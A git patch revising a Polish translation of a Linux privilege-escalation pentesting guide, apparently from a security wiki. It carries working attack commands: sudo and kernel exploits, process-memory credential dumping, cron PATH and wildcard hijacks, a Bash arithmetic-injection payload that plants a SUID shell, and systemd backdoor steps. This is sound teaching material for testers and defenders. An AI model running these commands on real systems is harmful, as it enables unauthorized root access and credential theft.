From 145665588cde41e494c021c2957e5386244cc7b9 Mon Sep 17 00:00:00 2001 From: Translator Date: Wed, 3 Sep 2025 16:54:59 +0000 Subject: [PATCH] Translated ['', 'src/linux-hardening/privilege-escalation/README.md', 's --- .../privilege-escalation/README.md | 571 +++++++++--------- .../pentesting-web/spring-actuators.md | 128 +++- 2 files changed, 401 insertions(+), 298 deletions(-) diff --git a/src/linux-hardening/privilege-escalation/README.md b/src/linux-hardening/privilege-escalation/README.md index 81b16c3bf..ca17cf5ed 100644 --- a/src/linux-hardening/privilege-escalation/README.md +++ b/src/linux-hardening/privilege-escalation/README.md @@ -6,19 +6,19 @@ ### Informacje o systemie operacyjnym -Zacznijmy zdobywać trochę informacji o uruchomionym systemie operacyjnym +Zacznijmy od zdobycia informacji o uruchomionym systemie operacyjnym ```bash (cat /proc/version || uname -a ) 2>/dev/null lsb_release -a 2>/dev/null # old, not by default on many systems cat /etc/os-release 2>/dev/null # universal on modern systems ``` -### PATH +### Path -Jeśli **masz uprawnienia zapisu w dowolnym folderze znajdującym się w zmiennej `PATH`** możesz przejąć niektóre biblioteki lub pliki binarne: +Jeśli **masz uprawnienia do zapisu w dowolnym katalogu znajdującym się w zmiennej `PATH`**, możesz być w stanie przejąć niektóre biblioteki lub pliki binarne: ```bash echo $PATH ``` -### Informacje o środowisku +### Informacje Env Czy w zmiennych środowiskowych znajdują się interesujące informacje, hasła lub klucze API? ```bash @@ -26,16 +26,16 @@ Czy w zmiennych środowiskowych znajdują się interesujące informacje, hasła ``` ### Kernel exploits -Sprawdź wersję kernela i czy istnieje jakiś exploit, który można użyć do escalate privileges +Sprawdź wersję jądra i czy istnieje jakiś exploit, który można wykorzystać do eskalacji uprawnień ```bash cat /proc/version uname -a searchsploit "Linux Kernel" ``` -Możesz znaleźć dobrą listę podatnych jąder i kilka już **compiled exploits** tutaj: [https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits) i [exploitdb sploits](https://gitlab.com/exploit-database/exploitdb-bin-sploits).\ -Inne strony, gdzie możesz znaleźć kilka **compiled exploits**: [https://github.com/bwbwbwbw/linux-exploit-binaries](https://github.com/bwbwbwbw/linux-exploit-binaries), [https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack](https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack) +Możesz znaleźć dobrą listę podatnych kerneli i kilka już **compiled exploits** tutaj: [https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits) i [exploitdb sploits](https://gitlab.com/exploit-database/exploitdb-bin-sploits).\ +Inne strony, gdzie możesz znaleźć niektóre **compiled exploits**: [https://github.com/bwbwbwbw/linux-exploit-binaries](https://github.com/bwbwbwbw/linux-exploit-binaries), [https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack](https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack) -Aby wyodrębnić wszystkie podatne wersje jądra z tej strony możesz zrobić: +Aby wyodrębnić wszystkie podatne wersje kernela z tej strony możesz wykonać: ```bash curl https://raw.githubusercontent.com/lucyoa/kernel-exploits/master/README.md 2>/dev/null | grep "Kernels: " | cut -d ":" -f 2 | cut -d "<" -f 1 | tr -d "," | tr ' ' '\n' | grep -v "^\d\.\d$" | sort -u -r | tr '\n' ' ' ``` @@ -43,9 +43,9 @@ Narzędzia, które mogą pomóc w wyszukiwaniu kernel exploits to: [linux-exploit-suggester.sh](https://github.com/mzet-/linux-exploit-suggester)\ [linux-exploit-suggester2.pl](https://github.com/jondonas/linux-exploit-suggester-2)\ -[linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py) (execute IN victim,only checks exploits for kernel 2.x) +[linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py) (uruchomić IN victim, tylko sprawdza exploits dla kernel 2.x) -Zawsze **wyszukaj wersję kernela w Google** — być może Twoja wersja kernela jest wymieniona w jakimś kernel exploit i wtedy będziesz mieć pewność, że exploit jest skuteczny. +Zawsze **wyszukaj kernel version w Google**, być może Twoja kernel version jest wymieniona w jakimś kernel exploit i wtedy będziesz mieć pewność, że exploit jest ważny. ### CVE-2016-5195 (DirtyCow) @@ -57,9 +57,9 @@ g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp -lutil https://github.com/dirtycow/dirtycow.github.io/wiki/PoCs https://github.com/evait-security/ClickNRoot/blob/master/1/exploit.c ``` -### Wersja Sudo +### Sudo wersja -Na podstawie podatnych wersji Sudo, które pojawiają się w: +Na podstawie podatnych wersji sudo, które pojawiają się w: ```bash searchsploit sudo ``` @@ -73,9 +73,9 @@ Od @sickrov ``` sudo -u#-1 /bin/bash ``` -### Dmesg signature verification failed +### Dmesg weryfikacja podpisu nie powiodła się -Sprawdź **smasher2 box of HTB** dla **przykładu**, jak tę vuln można wykorzystać +Sprawdź **smasher2 box of HTB** w poszukiwaniu **przykładu**, jak ta vuln może zostać wykorzystana. ```bash dmesg 2>/dev/null | grep "signature" ``` @@ -123,8 +123,7 @@ cat /proc/sys/kernel/randomize_va_space 2>/dev/null ``` ## Docker Breakout -Jeśli znajdujesz się wewnątrz kontenera docker możesz spróbować z niego uciec: - +Jeśli znajdujesz się wewnątrz kontenera Docker, możesz spróbować się z niego wydostać: {{#ref}} docker-security/ @@ -132,7 +131,7 @@ docker-security/ ## Dyski -Sprawdź **co jest zamontowane i odmontowane**, gdzie i dlaczego. Jeśli coś jest odmontowane, możesz spróbować to zamontować i sprawdzić, czy nie zawiera poufnych informacji. +Sprawdź **co jest zamontowane, a co odmontowane**, gdzie i dlaczego. Jeśli coś jest odmontowane, możesz spróbować to zamontować i sprawdzić, czy nie ma tam prywatnych informacji. ```bash ls /dev 2>/dev/null | grep -i "sd" cat /etc/fstab 2>/dev/null | grep -v "^#" | grep -Pv "\W*\#" 2>/dev/null @@ -141,60 +140,60 @@ grep -E "(user|username|login|pass|password|pw|credentials)[=:]" /etc/fstab /etc ``` ## Przydatne oprogramowanie -Wymień przydatne binaria +Wymień przydatne pliki binarne ```bash which nmap aws nc ncat netcat nc.traditional wget curl ping gcc g++ make gdb base64 socat python python2 python3 python2.7 python2.6 python3.6 python3.7 perl php ruby xterm doas sudo fetch docker lxc ctr runc rkt kubectl 2>/dev/null ``` -Sprawdź również, czy **jakiś kompilator jest zainstalowany**. Przyda się to, jeśli będziesz musiał użyć jakiegoś kernel exploit, ponieważ zaleca się skompilować go na maszynie, na której zamierzasz go użyć (lub na podobnej). +Sprawdź też, czy **jakikolwiek kompilator jest zainstalowany**. To przydatne, jeśli musisz użyć jakiegoś kernel exploit, ponieważ zaleca się skompilować go na maszynie, na której zamierzasz go użyć (lub na podobnej). ```bash (dpkg --list 2>/dev/null | grep "compiler" | grep -v "decompiler\|lib" 2>/dev/null || yum list installed 'gcc*' 2>/dev/null | grep gcc 2>/dev/null; which gcc g++ 2>/dev/null || locate -r "/gcc[0-9\.-]\+$" 2>/dev/null | grep -v "/doc/") ``` ### Zainstalowane podatne oprogramowanie -Sprawdź **wersję zainstalowanych pakietów i usług**. Może istnieć jakaś stara wersja Nagios (na przykład), która mogłaby zostać wykorzystana do escalating privileges…\ +Sprawdź **wersję zainstalowanych pakietów i usług**. Może istnieć jakaś stara wersja Nagios (na przykład), którą można wykorzystać do escalating privileges…\ Zaleca się ręczne sprawdzenie wersji bardziej podejrzanego zainstalowanego oprogramowania. ```bash dpkg -l #Debian rpm -qa #Centos ``` -Jeśli masz dostęp SSH do maszyny, możesz także użyć **openVAS** aby sprawdzić przestarzałe i podatne oprogramowanie zainstalowane na maszynie. +Jeśli masz dostęp SSH do maszyny, możesz także użyć **openVAS**, aby sprawdzić, czy na maszynie nie są zainstalowane przestarzałe lub podatne wersje oprogramowania. -> [!NOTE] > _Zauważ, że te polecenia pokażą dużo informacji, które w większości będą bezużyteczne, dlatego zalecane jest użycie aplikacji takich jak OpenVAS lub podobnych, które sprawdzą, czy jakakolwiek z zainstalowanych wersji oprogramowania jest podatna na known exploits_ +> [!NOTE] > _Zwróć uwagę, że te polecenia wyświetlą dużo informacji, które w większości będą bezużyteczne, dlatego zalecane są aplikacje takie jak OpenVAS lub podobne, które sprawdzą, czy któraś z zainstalowanych wersji oprogramowania jest podatna na known exploits_ ## Procesy -Spójrz, **jakie procesy** są uruchamiane i sprawdź, czy któryś proces nie ma **więcej uprawnień niż powinien** (może tomcat uruchamiany przez root?) +Rzuć okiem na **jakie procesy** są uruchomione i sprawdź, czy któryś proces nie ma **więcej uprawnień, niż powinien** (może tomcat uruchomiony przez root?) ```bash ps aux ps -ef top -n 1 ``` -Always check for possible [**electron/cef/chromium debuggers** running, you could abuse it to escalate privileges](electron-cef-chromium-debugger-abuse.md). **Linpeas** detect those by checking the `--inspect` parameter inside the command line of the process.\ -Also **check your privileges over the processes binaries**, maybe you can overwrite someone. +Zawsze sprawdzaj, czy nie działają [**electron/cef/chromium debuggers** — możesz ich nadużyć do eskalacji uprawnień](electron-cef-chromium-debugger-abuse.md). **Linpeas** wykrywa je, sprawdzając parametr `--inspect` w linii poleceń procesu.\ +Sprawdź też swoje uprawnienia do binarek procesów — może uda się nadpisać jakieś. -### Monitorowanie procesów +### Process monitoring -Możesz użyć narzędzi takich jak [**pspy**](https://github.com/DominicBreuker/pspy) do monitorowania procesów. To może być bardzo przydatne do zidentyfikowania podatnych procesów uruchamianych często lub gdy spełnione są określone warunki. +Możesz użyć narzędzi takich jak [**pspy**](https://github.com/DominicBreuker/pspy) do monitorowania procesów. To może być bardzo przydatne do identyfikacji podatnych procesów uruchamianych często lub gdy spełnione są określone warunki. -### Pamięć procesu +### Process memory -Niektóre usługi serwera zapisują **credentials in clear text inside the memory**.\ -Zazwyczaj będziesz potrzebować **root privileges**, aby czytać pamięć procesów należących do innych użytkowników, dlatego jest to zwykle bardziej przydatne, gdy już masz root i chcesz odkryć więcej credentials.\ -Pamiętaj jednak, że **jako zwykły użytkownik możesz czytać pamięć procesów, które posiadasz**. +Niektóre usługi serwera zapisują **credentials w postaci jawnego tekstu w pamięci**.\ +Zwykle potrzebujesz **root privileges** aby czytać pamięć procesów należących do innych użytkowników, dlatego jest to zwykle przydatniejsze, gdy jesteś już root i chcesz odnaleźć więcej credentials.\ +Pamiętaj jednak, że **jako zwykły użytkownik możesz czytać pamięć procesów, które należą do Ciebie**. > [!WARNING] -> Zauważ, że obecnie większość maszyn **nie pozwala na ptrace domyślnie**, co oznacza, że nie możesz zrzucać innych procesów należących do twojego nieuprzywilejowanego użytkownika. +> Zauważ, że obecnie większość maszyn **domyślnie nie pozwala na ptrace**, co oznacza, że nie możesz zrzucać pamięci procesów należących do innych użytkowników bez uprawnień. > > Plik _**/proc/sys/kernel/yama/ptrace_scope**_ kontroluje dostępność ptrace: > -> - **kernel.yama.ptrace_scope = 0**: wszystkie procesy mogą być debugowane, pod warunkiem że mają ten sam uid. To klasyczny sposób działania ptrace. +> - **kernel.yama.ptrace_scope = 0**: wszystkie procesy mogą być debugowane, o ile mają ten sam uid. To klasyczny sposób działania ptrace. > - **kernel.yama.ptrace_scope = 1**: tylko proces nadrzędny może być debugowany. -> - **kernel.yama.ptrace_scope = 2**: tylko admin może używać ptrace, ponieważ wymagana jest capability CAP_SYS_PTRACE. -> - **kernel.yama.ptrace_scope = 3**: żadne procesy nie mogą być śledzone przy użyciu ptrace. Po ustawieniu wymagany jest reboot, aby ponownie włączyć ptrace. +> - **kernel.yama.ptrace_scope = 2**: tylko administrator może używać ptrace, ponieważ wymaga to uprawnienia CAP_SYS_PTRACE. +> - **kernel.yama.ptrace_scope = 3**: żadne procesy nie mogą być śledzone za pomocą ptrace. Po ustawieniu tej wartości potrzebny jest reboot, aby ponownie włączyć ptrace. #### GDB -Jeśli masz dostęp do pamięci usługi FTP (na przykład), możesz pobrać Heap i przeszukać go w poszukiwaniu credentials. +Jeśli masz dostęp do pamięci usługi FTP (na przykład), możesz pobrać Heap i przeszukać w poszukiwaniu jej credentials. ```bash gdb -p (gdb) info proc mappings @@ -216,7 +215,7 @@ done ``` #### /proc/$pid/maps & /proc/$pid/mem -Dla danego PID, **maps pokazują, jak pamięć jest mapowana w wirtualnej przestrzeni adresowej tego procesu**; pokazują też **uprawnienia każdej zmapowanej strefy**. Pseudo-plik **mem** **udostępnia samą pamięć procesu**. Z pliku **maps** wiemy, które **obszary pamięci są do odczytu** oraz ich przesunięcia. Wykorzystujemy te informacje, aby **przesunąć wskaźnik w pliku mem i zrzucić wszystkie regiony dostępne do odczytu** do pliku. +Dla danego identyfikatora procesu, **maps pokazuje, jak pamięć jest zmapowana w wirtualnej przestrzeni adresowej tego procesu**; pokazuje też **uprawnienia każdego zmapowanego regionu**. Pseudoplik **mem** **udostępnia samą pamięć procesu**. Z pliku **maps** wiemy, które **obszary pamięci są czytelne** i ich offsety. Używamy tych informacji, aby **przejść do odpowiednich offsetów w pliku mem i zrzucić wszystkie czytelne regiony** do pliku. ```bash procdump() ( @@ -231,14 +230,14 @@ rm $1*.bin ``` #### /dev/mem -`/dev/mem` zapewnia dostęp do systemowej **pamięci fizycznej**, a nie pamięci wirtualnej. Wirtualna przestrzeń adresowa jądra może być dostępna za pomocą /dev/kmem.\ +`/dev/mem` zapewnia dostęp do systemowej **pamięci fizycznej**, a nie pamięci wirtualnej. Przestrzeń adresowa jądra można uzyskać za pomocą /dev/kmem.\ Zazwyczaj `/dev/mem` jest czytelny tylko dla **root** i grupy **kmem**. ``` strings /dev/mem -n10 | grep -i PASS ``` -### ProcDump dla linux +### ProcDump for linux -ProcDump to adaptacja klasycznego narzędzia ProcDump z pakietu Sysinternals dla Windows. Pobierz je z [https://github.com/Sysinternals/ProcDump-for-Linux](https://github.com/Sysinternals/ProcDump-for-Linux) +ProcDump to wersja dla Linux klasycznego narzędzia ProcDump z pakietu Sysinternals dla Windows. Pobierz ją z [https://github.com/Sysinternals/ProcDump-for-Linux](https://github.com/Sysinternals/ProcDump-for-Linux) ``` procdump -p 1714 @@ -265,42 +264,42 @@ Press Ctrl-C to end monitoring without terminating the process. [20:20:58 - INFO]: Timed: [20:21:00 - INFO]: Core dump 0 generated: ./sleep_time_2021-11-03_20:20:58.1714 ``` -### Narzędzia +### Tools -Aby zrzucić pamięć procesu możesz użyć: +Aby zrzucić pamięć procesu, możesz użyć: - [**https://github.com/Sysinternals/ProcDump-for-Linux**](https://github.com/Sysinternals/ProcDump-for-Linux) -- [**https://github.com/hajzer/bash-memory-dump**](https://github.com/hajzer/bash-memory-dump) (root) - \_Możesz ręcznie usunąć wymagania root i zrzucić proces należący do ciebie -- Script A.5 from [**https://www.delaat.net/rp/2016-2017/p97/report.pdf**](https://www.delaat.net/rp/2016-2017/p97/report.pdf) (wymagany jest root) +- [**https://github.com/hajzer/bash-memory-dump**](https://github.com/hajzer/bash-memory-dump) (root) - \_Możesz ręcznie usunąć wymagania root i zrzucić proces należący do Ciebie +- Script A.5 from [**https://www.delaat.net/rp/2016-2017/p97/report.pdf**](https://www.delaat.net/rp/2016-2017/p97/report.pdf) (wymagany root) -### Dane uwierzytelniające z pamięci procesu +### Credentials from Process Memory -#### Przykład ręczny +#### Manual example Jeśli stwierdzisz, że proces authenticator jest uruchomiony: ```bash ps -ef | grep "authenticator" root 2027 2025 0 11:46 ? 00:00:00 authenticator ``` -Możesz dump the process (zobacz wcześniejsze sekcje, aby znaleźć różne sposoby na dump the memory of a process) i przeszukać credentials w memory: +Możesz dumpować proces (zobacz wcześniejsze sekcje, aby znaleźć różne sposoby dumpowania memory procesu) i przeszukać memory w poszukiwaniu credentials: ```bash ./dump-memory.sh 2027 strings *.dump | grep -i password ``` #### mimipenguin -Narzędzie [**https://github.com/huntergregal/mimipenguin**](https://github.com/huntergregal/mimipenguin) będzie **wykradać poświadczenia w postaci jawnego tekstu z pamięci** oraz z niektórych **znanych plików**. Wymaga uprawnień roota, aby działać prawidłowo. +Narzędzie [**https://github.com/huntergregal/mimipenguin**](https://github.com/huntergregal/mimipenguin) będzie **steal clear text credentials from memory** i z niektórych **well known files**. Wymaga uprawnień root, aby działać poprawnie. -| Funkcja | Nazwa procesu | +| Funkcja | Nazwa procesu | | ------------------------------------------------- | -------------------- | -| Hasło GDM (Kali Desktop, Debian Desktop) | gdm-password | +| GDM password (Kali Desktop, Debian Desktop) | gdm-password | | Gnome Keyring (Ubuntu Desktop, ArchLinux Desktop) | gnome-keyring-daemon | | LightDM (Ubuntu Desktop) | lightdm | -| VSFTPd (aktywne połączenia FTP) | vsftpd | -| Apache2 (aktywne sesje HTTP Basic Auth) | apache2 | -| OpenSSH (aktywne sesje SSH - użycie sudo) | sshd: | +| VSFTPd (Active FTP Connections) | vsftpd | +| Apache2 (Active HTTP Basic Auth Sessions) | apache2 | +| OpenSSH (Active SSH Sessions - Sudo Usage) | sshd: | -#### Wzorce wyszukiwania/[truffleproc](https://github.com/controlplaneio/truffleproc) +#### Search Regexes/[truffleproc](https://github.com/controlplaneio/truffleproc) ```bash # un truffleproc.sh against your current Bash shell (e.g. $$) ./truffleproc.sh $$ @@ -314,23 +313,22 @@ Reading symbols from /lib/x86_64-linux-gnu/librt.so.1... # finding secrets # results in /tmp/tmp.o6HV0Pl3fe/results.txt ``` -## Zaplanowane/Cron jobs +## Scheduled/Cron jobs -Sprawdź, czy któreś ze zaplanowanych zadań jest podatne. Być może możesz wykorzystać skrypt uruchamiany przez root (wildcard vuln? można modyfikować pliki, których używa root? użyć symlinks? stworzyć specyficzne pliki w katalogu, którego używa root?). +Sprawdź, czy jakiekolwiek zaplanowane zadanie jest podatne. Być może możesz wykorzystać skrypt uruchamiany przez root (wildcard vuln? czy możesz modyfikować pliki, których używa root? użyć symlinks? utworzyć konkretne pliki w katalogu, którego używa root?). ```bash crontab -l ls -al /etc/cron* /etc/at* cat /etc/cron* /etc/at* /etc/anacrontab /var/spool/cron/crontabs/root 2>/dev/null | grep -v "^#" ``` -### Ścieżka Cron +### Ścieżka cron -Na przykład, w pliku _/etc/crontab_ możesz znaleźć PATH: _PATH=**/home/user**:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin_ +Na przykład, w _/etc/crontab_ możesz znaleźć PATH: _PATH=**/home/user**:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin_ -(_Zwróć uwagę, że użytkownik "user" ma uprawnienia zapisu w /home/user_) +(_Zauważ, że użytkownik "user" ma uprawnienia do zapisu w /home/user_) Jeśli w tym crontabie użytkownik root próbuje wykonać jakąś komendę lub skrypt bez ustawienia PATH. Na przykład: _\* \* \* \* root overwrite.sh_\ - -Wtedy możesz uzyskać powłokę roota, używając: +Wtedy możesz uzyskać root shell, używając: ```bash echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh #Wait cron job to be executed @@ -338,44 +336,68 @@ echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh ``` ### Cron używający skryptu z wildcard (Wildcard Injection) -Jeśli skrypt uruchamiany przez root ma “**\***” w poleceniu, możesz to wykorzystać do wywołania nieoczekiwanych efektów (np. privesc). Przykład: +Jeśli skrypt wykonywany przez root ma “**\***” w poleceniu, możesz to wykorzystać do wykonania nieoczekiwanych rzeczy (np. privesc). Przykład: ```bash rsync -a *.sh rsync://host.back/src/rbd #You can create a file called "-e sh myscript.sh" so the script will execute our script ``` -**Jeśli wildcard jest poprzedzony ścieżką taką jak** _**/some/path/\***_ **, nie jest podatny (nawet** _**./\***_ **nie jest).** +**Jeżeli wildcard jest poprzedzony ścieżką taką jak** _**/some/path/\***_ **, nie jest podatny (nawet** _**./\***_ **nie jest).** -Przeczytaj następującą stronę, aby poznać więcej trików dotyczących wildcard exploitation: +Przeczytaj następującą stronę, aby poznać więcej trików wykorzystania wildcard: {{#ref}} wildcards-spare-tricks.md {{#endref}} -### Nadpisywanie skryptu Cron i symlink -Jeśli **możesz zmodyfikować cron script** uruchamiany przez root, możesz bardzo łatwo uzyskać shell: +### Bash arithmetic expansion injection in cron log parsers + +Bash wykonuje parameter expansion i command substitution przed arithmetic evaluation w ((...)), $((...)) i let. Jeśli root cron/parser odczytuje niezaufane pola logów i przekazuje je do kontekstu arytmetycznego, atakujący może wstrzyknąć command substitution $(...) które wykona się jako root, gdy cron zostanie uruchomiony. + +- Dlaczego to działa: W Bash rozszerzenia zachodzą w tej kolejności: parameter/variable expansion, command substitution, arithmetic expansion, then word splitting and pathname expansion. Zatem wartość taka jak `$(/bin/bash -c 'id > /tmp/pwn')0` jest najpierw podstawiona (uruchamiając polecenie), a następnie pozostała część numeryczna `0` jest użyta w obliczeniu, więc skrypt kontynuuje bez błędów. + +- Typical vulnerable pattern: +```bash +#!/bin/bash +# Example: parse a log and "sum" a count field coming from the log +while IFS=',' read -r ts user count rest; do +# count is untrusted if the log is attacker-controlled +(( total += count )) # or: let "n=$count" +done < /var/www/app/log/application.log +``` + +- Eksploatacja: Spowoduj, aby tekst kontrolowany przez atakującego został zapisany w analizowanym logu tak, by pole wyglądające na numeryczne zawierało command substitution i kończyło się cyfrą. Upewnij się, że twoje polecenie nie wypisuje nic na stdout (lub przekieruj wyjście), aby obliczenie pozostało ważne. +```bash +# Injected field value inside the log (e.g., via a crafted HTTP request that the app logs verbatim): +$(/bin/bash -c 'cp /bin/bash /tmp/sh; chmod +s /tmp/sh')0 +# When the root cron parser evaluates (( total += count )), your command runs as root. +``` + +### Cron script overwriting and symlink + +Jeśli możesz **modyfikować cron script** uruchamiany przez root, możesz bardzo łatwo uzyskać shell: ```bash echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > #Wait until it is executed /tmp/bash -p ``` -Jeśli script uruchamiany przez root korzysta z **katalogu, do którego masz pełny dostęp**, może być przydatne usunięcie tego katalogu i **utworzenie symlinku wskazującego na inny**, który będzie serwował script kontrolowany przez ciebie. +Jeśli skrypt uruchamiany przez root używa **katalogu, do którego masz pełny dostęp**, może być użyteczne usunięcie tego katalogu i **utworzenie folderu-symlink wskazującego na inny**, który będzie serwował skrypt kontrolowany przez ciebie. ```bash ln -d -s ``` ### Częste cron jobs -Możesz monitorować procesy, aby wyszukać te, które są uruchamiane co 1, 2 lub 5 minut. Być może możesz to wykorzystać i eskalować uprawnienia. +Możesz monitorować procesy, aby wyszukać procesy, które są uruchamiane co 1, 2 lub 5 minut. Być może możesz to wykorzystać i escalate privileges. -Na przykład, aby **monitorować co 0.1s przez 1 minutę**, **posortować według najmniej wykonywanych poleceń** i usunąć polecenia, które były wykonywane najczęściej, możesz zrobić: +Na przykład, aby **monitorować co 0.1s przez 1 minutę**, **sortować według najmniej wykonywanych poleceń** i usunąć polecenia, które były wykonywane najczęściej, możesz zrobić: ```bash for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; done; sort /tmp/monprocs.tmp | uniq -c | grep -v "\[" | sed '/^.\{200\}./d' | sort | grep -E -v "\s*[6-9][0-9][0-9]|\s*[0-9][0-9][0-9][0-9]"; rm /tmp/monprocs.tmp; ``` -**Możesz też użyć** [**pspy**](https://github.com/DominicBreuker/pspy/releases) (to będzie monitorować i wyświetlać wszystkie procesy, które zostaną uruchomione). +**Możesz też użyć** [**pspy**](https://github.com/DominicBreuker/pspy/releases) (to będzie monitorować i wyświetlać wszystkie uruchamiane procesy). -### Niewidoczne cron jobs +### Niewidoczne zadania cron -Możliwe jest utworzenie cronjoba **wstawiając znak carriage return po komentarzu** (bez znaku nowej linii), i cron job będzie działać. Przykład (zwróć uwagę na znak carriage return): +Możliwe jest utworzenie cronjoba **wstawiając znak powrotu karetki po komentarzu** (bez znaku nowej linii), i cronjob będzie działać. Przykład (zwróć uwagę na znak powrotu karetki): ```bash #This is a comment inside a cron config file\r* * * * * echo "Surprise!" ``` @@ -383,12 +405,12 @@ Możliwe jest utworzenie cronjoba **wstawiając znak carriage return po komentar ### Zapisywalne pliki _.service_ -Sprawdź, czy możesz zapisać dowolny plik `.service`, jeśli tak, możesz go **zmodyfikować**, aby **uruchamiał** twój **backdoor**, gdy usługa jest **uruchamiana**, **restartowana** lub **zatrzymywana** (może być konieczne oczekiwanie na reboot maszyny).\ -Na przykład umieść swój backdoor w pliku .service używając **`ExecStart=/tmp/script.sh`** +Sprawdź, czy możesz zapisać dowolny plik `.service`, jeśli tak, możesz go **zmodyfikować**, aby **uruchamiał** twój **backdoor gdy** usługa jest **uruchamiana**, **restartowana** lub **zatrzymywana** (może będziesz musiał poczekać, aż maszyna się zrestartuje).\ +Na przykład umieść swój backdoor wewnątrz pliku .service używając **`ExecStart=/tmp/script.sh`** ### Zapisywalne pliki binarne usług -Pamiętaj, że jeśli masz **uprawnienia zapisu do binariów uruchamianych przez usługi**, możesz je zmienić, aby umieścić backdoor, tak że po ponownym uruchomieniu usług backdoor zostanie wykonany. +Pamiętaj, że jeśli masz **uprawnienia do zapisu wobec binariów uruchamianych przez usługi**, możesz je zmodyfikować, aby umieścić backdoor, dzięki czemu przy ponownym uruchomieniu usług backdoor zostanie wykonany. ### systemd PATH - Ścieżki względne @@ -396,74 +418,74 @@ Możesz zobaczyć PATH używany przez **systemd** za pomocą: ```bash systemctl show-environment ``` -Jeśli stwierdzisz, że możesz **zapisywać** w którymkolwiek z folderów na tej ścieżce, możesz być w stanie **eskalować uprawnienia**. Musisz szukać **ścieżek względnych używanych w plikach konfiguracyjnych usług** takich jak: +Jeśli odkryjesz, że możesz **write** w dowolnym z folderów na tej ścieżce, możesz być w stanie **escalate privileges**. Musisz szukać **relative paths being used on service configurations** w plikach takich jak: ```bash ExecStart=faraday-server ExecStart=/bin/sh -ec 'ifup --allow=hotplug %I; ifquery --state %I' ExecStop=/bin/sh "uptux-vuln-bin3 -stuff -hello" ``` -Następnie utwórz **wykonywalny plik** o **takiej samej nazwie jak binarka w ścieżce względnej** wewnątrz folderu systemd PATH, do którego masz zapis, a gdy usługa zostanie poproszona o wykonanie podatnej akcji (**Start**, **Stop**, **Reload**), twój **backdoor zostanie uruchomiony** (użytkownicy nieuprzywilejowani zwykle nie mogą uruchamiać/zatrzymywać usług, ale sprawdź, czy możesz użyć `sudo -l`). +Następnie utwórz **executable** o **tej samej nazwie co the relative path binary** wewnątrz folderu systemd PATH, do którego możesz zapisać, a gdy usługa zostanie poproszona o wykonanie podatnej akcji (**Start**, **Stop**, **Reload**), twój **backdoor zostanie uruchomiony** (użytkownicy bez uprawnień zwykle nie mogą startować/zatrzymywać usług, ale sprawdź, czy możesz użyć `sudo -l`). **Dowiedz się więcej o usługach za pomocą `man systemd.service`.** ## **Timery** -Timery to pliki unit systemd, których nazwa kończy się na `**.timer**`, które kontrolują pliki lub zdarzenia `**.service**`. Timery mogą być używane jako alternatywa dla cron, ponieważ mają wbudowane wsparcie dla zdarzeń czasowych kalendarza i zdarzeń monotonicznych oraz mogą być uruchamiane asynchronicznie. +**Timery** są plikami jednostek systemd, których nazwa kończy się na `**.timer**`, które kontrolują pliki lub zdarzenia `**.service**`. **Timery** mogą być używane jako alternatywa dla cron, ponieważ mają wbudowaną obsługę zdarzeń kalendarzowych i zdarzeń monotonicznych oraz mogą działać asynchronicznie. -Możesz wylistować wszystkie timery za pomocą: +Możesz wyświetlić wszystkie timery poleceniem: ```bash systemctl list-timers --all ``` ### Zapisywalne timery -Jeśli możesz zmodyfikować timer, możesz sprawić, że uruchomi on niektóre istniejące jednostki systemd.unit (takie jak `.service` lub `.target`) +Jeśli możesz zmodyfikować timer, możesz uruchomić niektóre istniejące jednostki systemd.unit (takie jak `.service` lub `.target`). ```bash Unit=backdoor.service ``` -W dokumentacji możesz przeczytać, czym jest Unit: +W dokumentacji można przeczytać, czym jest Unit: -> The unit to activate when this timer elapses. The argument is a unit name, whose suffix is not ".timer". If not specified, this value defaults to a service that has the same name as the timer unit, except for the suffix. (See above.) It is recommended that the unit name that is activated and the unit name of the timer unit are named identically, except for the suffix. +> Jednostka, którą należy aktywować, gdy ten timer wygaśnie. Argument jest nazwą jednostki, której sufiks nie jest ".timer". Jeśli nie zostanie określony, ta wartość domyślnie wskazuje na service o tej samej nazwie co jednostka timera, z wyjątkiem sufiksu. (Patrz wyżej.) Zaleca się, aby nazwa jednostki, która jest aktywowana, i nazwa jednostki timera były identyczne, z wyjątkiem sufiksu. -Dlatego, aby nadużyć tego uprawnienia musiałbyś: +Dlatego, aby wykorzystać to uprawnienie, musiałbyś: -- Znaleźć jakąś jednostkę systemd (np. `.service`), która **uruchamia binarkę, do której masz prawa zapisu** -- Znaleźć jednostkę systemd, która **uruchamia względną ścieżkę** i masz **uprawnienia zapisu** do **systemd PATH** (aby podszyć się pod ten plik wykonywalny) +- Znaleźć jakąś jednostkę systemd (np. `.service`), która **uruchamia binarny plik, do którego masz prawa zapisu** +- Znaleźć jednostkę systemd, która **uruchamia względną ścieżkę** i masz **prawa zapisu** do **systemd PATH** (aby podszyć się pod ten plik wykonywalny) **Dowiedz się więcej o timerach za pomocą `man systemd.timer`.** ### **Włączanie timera** -Aby włączyć timer, potrzebujesz uprawnień roota i musisz wykonać: +Aby włączyć timer, potrzebujesz uprawnień root i musisz wykonać: ```bash sudo systemctl enable backu2.timer Created symlink /etc/systemd/system/multi-user.target.wants/backu2.timer → /lib/systemd/system/backu2.timer. ``` -Zwróć uwagę, że **timer** jest **aktywowany** przez utworzenie dowiązania symbolicznego do niego w `/etc/systemd/system/.wants/.timer` +Note the **timer** is **activated** by creating a symlink to it on `/etc/systemd/system/.wants/.timer` -## Gniazda +## Sockets -Unix Domain Sockets (UDS) umożliwiają **komunikację procesów** na tych samych lub różnych maszynach w modelach klient-serwer. Wykorzystują standardowe pliki deskryptorów Unix do komunikacji między komputerami i są konfigurowane za pomocą plików `.socket`. 